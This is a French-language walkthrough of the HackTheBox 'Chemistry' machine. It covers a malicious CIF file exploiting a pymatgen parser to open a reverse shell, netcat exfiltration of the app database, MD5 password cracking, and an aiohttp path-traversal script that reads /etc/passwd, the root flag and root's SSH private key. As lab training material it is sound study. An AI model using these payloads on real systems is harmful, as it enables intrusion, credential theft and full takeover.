Chemistry

Sommaire

Reconnaissance

nmap -A -T4 chemistry.htb   
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-26 11:14 CEST
Warning: 10.10.11.38 giving up on port because retransmission cap hit (6).
Nmap scan report for chemistry.htb (10.10.11.38)
Host is up (0.024s latency).
Not shown: 974 closed tcp ports (reset)
PORT      STATE    SERVICE        VERSION
22/tcp    open     ssh            OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
|   256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_  256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
[...expurgé pour brièveté...]
5000/tcp  open     upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.3 Python/3.9.5
|     Date: Sat, 26 Oct 2024 09:16:24 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 719
|     Vary: Cookie
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Chemistry - Home</title>
|     <link rel="stylesheet" href="/static/styles.css">
|     </head>
|     <body>
|     <div class="container">
|     class="title">Chemistry CIF Analyzer</h1>
|     <p>Welcome to the Chemistry CIF Analyzer. This tool allows you to upload a CIF (Crystallographic Information File) and analyze the structural data contained within.</p>
|     <div class="buttons">
|     <center><a href="/login" class="btn">Login</a>
|     href="/register" class="btn">Register</a></center>
|     </div>
|     </div>
|     </body>
|   RTSPRequest: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
[...expurgé pour brièveté...]
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.94SVN%I=7%D=10/26%Time=671CB332%P=x86_64-pc-linux-gnu%
SF:r(GetRequest,38A,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.0\.3
[...expurgé pour brièveté...]
SF:equest\x20syntax\x20or\x20unsupported\x20method\.</p>\n\x20\x20\x20\x20
SF:</body>\n</html>\n");
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5.0
OS details: Linux 5.0
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 1025/tcp)
HOP RTT      ADDRESS
1   29.67 ms 10.10.14.1
2   29.83 ms chemistry.htb (10.10.11.38)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 162.53 seconds

L’analyse du serveur avec NMAP nous indique la présence d’un service SSH sur le port 22, et d’un serveur Web Python sur le port 5000 avec Werkzeug, un outil de debugging pour Flask.

Exploitation du serveur Flask

En recherchant des exploitations sur l’outil Werkzeug, le site Hacktricks nous invite à tenter d’accéder à la console de debug à l’adresse chemistry.htb:5000/console. Malheureusement nous recevons une erreur Not Found.

Nous nous intéressons donc au contenu du site hébergé sur le port 5000

Accueil du site
Accueil du site

Nous sommes inviter à créer notre propre compte, puis nous avons accès à une interface permettant d’uploader des fichiers CIF :

Une fois connecté, nous pouvons uploader des fichiers
Une fois connecté, nous pouvons uploader des fichiers

Nous récupérons le fichier d’exemple en cliquant sur here et nous tentons de le téléverser sur notre compte.

cat example.cif                  
data_Example
_cell_length_a    10.00000
_cell_length_b    10.00000
_cell_length_c    10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta  90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
 _atom_site_label
 _atom_site_fract_x
 _atom_site_fract_y
 _atom_site_fract_z
 _atom_site_occupancy
 H 0.00000 0.00000 0.00000 1
 O 0.50000 0.50000 0.50000 1

Le fichier apparaît désormais dans notre tableau de bord, et nous pouvons l’ouvrir.

Le fichier d'entrée est traduit avant affichage
Le fichier d'entrée est traduit avant affichage

En recherchant les outils Python permettant ce genre d’analyse, nous trouvons l’outil pymatgen qui semble connaître une vulnérabilité critique permettant l’exécution de code à distance. Le PoC est disponible sur Github.

Nous créons un fichier .cif qui devrait nous permettre d’obtenir un reverse-shell en modifiant la commande touch pwned de la proof of concept par /bin/bash -c 'sh -i >& /dev/tcp/10.10.14.37/9000 0>&1', ce qui donne :

data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c 'sh -i >& /dev/tcp/10.10.14.37/9000 0>&1'");0,0,0'


_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "

Grâce à l’outil Netcat en écoute sur le bon port, nous obtenons un reverse-shell

nc -lvnp 9000            
listening on [any] 9000 ...
connect to [10.10.14.37] from (UNKNOWN) [10.10.11.38] 46908
sh: 0: can't access tty; job control turned off
$ id
uid=1001(app) gid=1001(app) groups=1001(app)

Nous pouvons améliorer l’interactivité du shell obtenu :

Escalade horizontale

L’utilisateur app ne semble pas avoir beaucoup de privilèges sur la machine. En revanche, nous notons l’existence d’une autre utilisatrice rosa qui pourrait avoir des droits sudo.

pwd
/home/app

ls -hAl /home
total 8.0K
drwxr-xr-x 8 app  app  4.0K Oct 26 09:48 app
drwxr-xr-x 5 rosa rosa 4.0K Oct 26 10:05 rosa

cd /home/rosa

ls -hAl
total 28K
lrwxrwxrwx 1 root root    9 Jun 17 01:50 .bash_history -> /dev/null
-rw-r--r-- 1 rosa rosa  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 rosa rosa 3.7K Feb 25  2020 .bashrc
drwx------ 2 rosa rosa 4.0K Jun 15 20:38 .cache
drwxrwxr-x 4 rosa rosa 4.0K Jun 16 16:04 .local
-rw-r--r-- 1 rosa rosa  807 Feb 25  2020 .profile
lrwxrwxrwx 1 root root    9 Jun 17 01:51 .sqlite_history -> /dev/null
drwx------ 2 rosa rosa 4.0K Jun 15 18:24 .ssh
-rw-r--r-- 1 rosa rosa    0 Jun 15 20:43 .sudo_as_admin_successful
-rw-r----- 1 root rosa   33 Oct 26 09:39 user.txt

Dans le répertoire de l’utilisateur app nous repérons une base de données et nous tentons de l’exfiltrer pour l’analyser

ls -hAl
total 44K
-rw------- 1 app  app  5.8K Oct  9 20:08 app.py
lrwxrwxrwx 1 root root    9 Jun 17 01:51 .bash_history -> /dev/null
-rw-r--r-- 1 app  app   220 Jun 15 20:43 .bash_logout
-rw-r--r-- 1 app  app  3.7K Jun 15 20:43 .bashrc
drwxrwxr-x 3 app  app  4.0K Jun 17 00:44 .cache
drwx------ 2 app  app  4.0K Oct 26 10:12 instance
drwx------ 7 app  app  4.0K Jun 15 22:57 .local
-rw-r--r-- 1 app  app   807 Jun 15 20:43 .profile
-rw-r--r-- 1 app  app     0 Oct 26 09:48 pwned
lrwxrwxrwx 1 root root    9 Jun 17 01:52 .sqlite_history -> /dev/null
drwx------ 2 app  app  4.0K Oct  9 20:13 static
drwx------ 2 app  app  4.0K Oct  9 20:18 templates
drwx------ 2 app  app  4.0K Oct 26 10:12 uploads

cd instance

ls
database.db

nc -w 3 10.10.14.37 9001 < database.db

En écoutant avec Netcat sur notre machine, nous récupérons la base de données

nc -lvnp 9001 > database.db 
listening on [any] 9001 ...
connect to [10.10.14.37] from (UNKNOWN) [10.10.11.38] 58882

ls -hl                     
total 28K
-rw-rw-r-- 1 tiflo tiflo 20K 26 oct.  12:18 database.db

Nous pouvons ouvrir et naviguer dans la base de données grâce à l’outil sqlite3 :

sqlite3 database.db
.tables
structure  user
select * from user;
1|admin|2861[...expurgé...]52abf
2|app|1978[...expurgé...]9886a
3|rosa|63ed[...expurgé...]251a5
4|robert|02fc[...expurgé...]6b467
[...expurgé pour brièveté...]
15|tiflo|903ef2[...expurgé...]532aef
[...expurgé pour brièveté...]

Nous y retrouvons même nos identifiants utilisés pour interagir avec l’application. Mais plus important : nous trouvons des identifiants pour rosa.

Nous commençons par utiliser hash-identifier pour déterminer le chiffrement du mot de passe :

hash-identifier
HASH: 63ed[...expurgé...]251a5

Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

Puis nous utiliserons Hashcat pour tenter de forcer le mot de passe.

hashcat -m 0 '63ed[...expurgé...]251a5' /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

[...expurgé pour brièveté...]

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 1 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

63ed[...expurgé...]251a5:uni[...expurgé...]dos        
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: 63ed[...expurgé...]251a5
Time.Started.....: Sat Oct 26 12:33:52 2024 (2 secs)
Time.Estimated...: Sat Oct 26 12:33:54 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1226.2 kH/s (0.19ms) @ Accel:512 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 2983936/14344385 (20.80%)
Rejected.........: 0/2983936 (0.00%)
Restore.Point....: 2981888/14344385 (20.79%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: unicornn -> underwear88
Hardware.Mon.#1..: Util: 32%

Started: Sat Oct 26 12:33:29 2024
Stopped: Sat Oct 26 12:33:55 2024

Le mot de passe trouvé dans la base de données correspond également au mot de passe permettant de se connecter en SSH sur le serveur.

ssh rosa@chemistry.htb
rosa@chemistry.htb's password:
rosa@chemistry:~$ id
uid=1000(rosa) gid=1000(rosa) groups=1000(rosa)

Nous pouvons désormais récupérer le flag utilisateur

cat user.txt
fbc857[...expurgé...]e60b05

Élévation de privilèges

Contrairement à ce que nous pensions, rosa n’a pas de permission sudo sur la machine.

sudo -l
[sudo] password for rosa: 
Sorry, user rosa may not run sudo on chemistry.

Une rapide analyse des fichiers à droits élevés avec les commandes ci-dessous ne nous a pas permis de trouver de levier pour augmenter nos privilèges.

Le fichier crontab ne présente pas plus possibilité.

Nous téléchargeons l’outil linPEAS afin de lister les vulnérabilités de la machine, et nous observons un serveur sur le port 8080 écoutant l’adresse localhost

╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      109250/bash         
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      - 

En tentant de nous connecter à ce serveur, nous obtenons la réponse suivante

curl -i localhost:8080
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 5971
Date: Sat, 26 Oct 2024 10:56:39 GMT
Server: Python/3.9 aiohttp/3.9.1

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Site Monitoring</title>
    <link rel="stylesheet" href="/assets/css/all.min.css">
    <script src="/assets/js/jquery-3.6.0.min.js"></script>
    <script src="/assets/js/chart.js"></script>
    <link rel="stylesheet" href="/assets/css/style.css">
    <style>
    h2 {
      color: black;
      font-style: italic;
    }


    </style>
</head>

En recherchant des informations sur aiohttp, nous trouvons des vulnérabilités, notamment le CVE-2024-23334 qui permet de tester différentes façons d’accéder à des fichiers. Nous copions le contenu du fichier exploit.sh sur le serveur sous /tmp/.test/test.sh et nous le modifions pour qu’il se connecte au port 8080 et non 8081, et qu’il prenne le dossier /assets/ comme point de départ (dossier trouver lors du curl au-dessus) et non /static/ comme dans la PoC.

Ce qui donne :

#!/bin/bash

url="http://localhost:8080"
string="../"
payload="/assets/"
file="etc/passwd" # without the first /

for ((i=0; i<15; i++)); do
    payload+="$string"
    echo "[+] Testing with $payload$file"
    status_code=$(curl --path-as-is -s -o /dev/null -w "%{http_code}" "$url$payload$file")
    echo -e "\tStatus code --> $status_code"
    
    if [[ $status_code -eq 200 ]]; then
        curl -s --path-as-is "$url$payload$file"
        break
    fi
done

Le test est concluant, nous parvenons à récupérer le contenu du fichier cible :

bash test.sh 
[+] Testing with /assets/../etc/passwd
	Status code --> 404
[+] Testing with /assets/../../etc/passwd
	Status code --> 404
[+] Testing with /assets/../../../etc/passwd
	Status code --> 200
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
[...expurgé pour brièveté...]

Pour terminer ce défi, deux choix s’offre à nous : récupérer le flag root directement via cette exploitation, ou essayer d’obtenir des identifiants root sur la machine.

Récupérer le flag

En remplaçant l’entrée file="etc/passwd" par file="root/root.txt" nous pouvons facilement obtenir le flag root :

bash test.sh 
[+] Testing with /assets/../root/root.txt
	Status code --> 404
[+] Testing with /assets/../../root/root.txt
	Status code --> 404
[+] Testing with /assets/../../../root/root.txt
	Status code --> 200
284bf1[...expurgé...]b09ad9

Obtenir l’accès root

Nous allons également tenter de trouver un accès au compte root, pour le challenge.

Nous avons commencer par récupérer le hash du mot de passe de root en ouvrant le fichier /etc/shadow mais le mot de passe semble assez solide pour ne pas tomber avec la liste rockyou

Nous avons ensuite cherché une clé SSH pour le compte root en modifiant l’entrée file=root/.ssh/id_rsa

bash test.sh 
[+] Testing with /assets/../root/.ssh/id_rsa
	Status code --> 404
[+] Testing with /assets/../../root/.ssh/id_rsa
	Status code --> 404
[+] Testing with /assets/../../../root/.ssh/id_rsa
	Status code --> 200
-----BEGIN OPENSSH PRIVATE KEY-----
[...expurgé...]
-----END OPENSSH PRIVATE KEY-----

Nous copions le contenu découvert sur notre machine, et nous lui attribuons les bons droits via la commande chmod 600 id_rsa_root puis nous pouvons nous connecter avec succès et récupérer le flag.

ssh -i id_rsa_root root@chemistry.htb

id
uid=0(root) gid=0(root) groups=0(root)

cat root.txt 
284bf1[...expurgé...]b09ad9